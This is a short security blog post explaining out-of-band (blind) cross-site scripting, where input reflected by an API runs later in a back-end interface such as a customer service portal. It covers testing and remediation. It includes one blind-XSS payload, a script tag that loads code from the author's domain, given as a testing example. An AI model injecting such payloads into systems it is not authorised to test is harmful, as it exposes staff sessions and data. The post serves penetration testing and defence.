When Input Reflections Attack

Defining the issue

Everyone is familiar with reflected issues like XSS and HTML tampering, but what about when this isn’t glaringly obvious on the front-end? Many times an underlying issue can be missed altogether, or only reported as a low or informational issue where, in example, an API is reflecting payloads back in responses which in the given context would not execute as JavaScript. In these cases it is entirely possible that there is no risk even with the lack of input validations or output encoding. It is also possible that this same data is instead reflected into a different UI without proper encoding and has an impact there. This is known as an out of band (OOB) attack. While it is technically possible that this could work for XXE and SQLi as well, I will focus on XSS as it is the most likely scenario in my opinion.

Out of band attacks?

The most common way I have observed OOB attacks exploited for XSS are through modifying something about a user/customer account much like in this excellent write-up about an issue with GoDaddy’s customer service portal. Other methods might involve poisoning logs, or naming a file or transaction or some other record in the attacker’s control which is then pulled into some back-end service.
 

How do we test for it?

When testing for OOB XSS you will need to try additional payloads besides your typical POC like an alert box. In example we would want to inject payloads such as:
				
					<script src=www.mccormackcyber.com/xss>

				
			

In this case we can monitor our web server’s logs for attempts to retrieve www.mccormackcyber.com/xss. The problem here comes in the fact it is entirely possible that you will not have someone on the back-end trigger your payload while you are performing your test. This is why these issues can be easily missed during a pentest that is scoped for a week or two because there are so many other back-end systems which may or may not be accessed. How often is someone opening a customer service portal on a testing account to help a customer complaint after all? This is why I recommend resolving the issue at its root if a reflected input IS identified unless you can ensure it will not impact you elsewhere.

 

Remediation!

 
The standard remediation recommendations for injections apply here as well. Make sure you are validating inputs against a whitelist where appropriate, and stripping special characters that aren’t necessary before storing or reflecting your inputs. Additionally, performing output encoding on any stored data that is later reflected like in the example of GoDaddy’s customer service portal.
 
Are you looking for a security assessment for your network or applications? Send us an email at info@mccormackcyber.com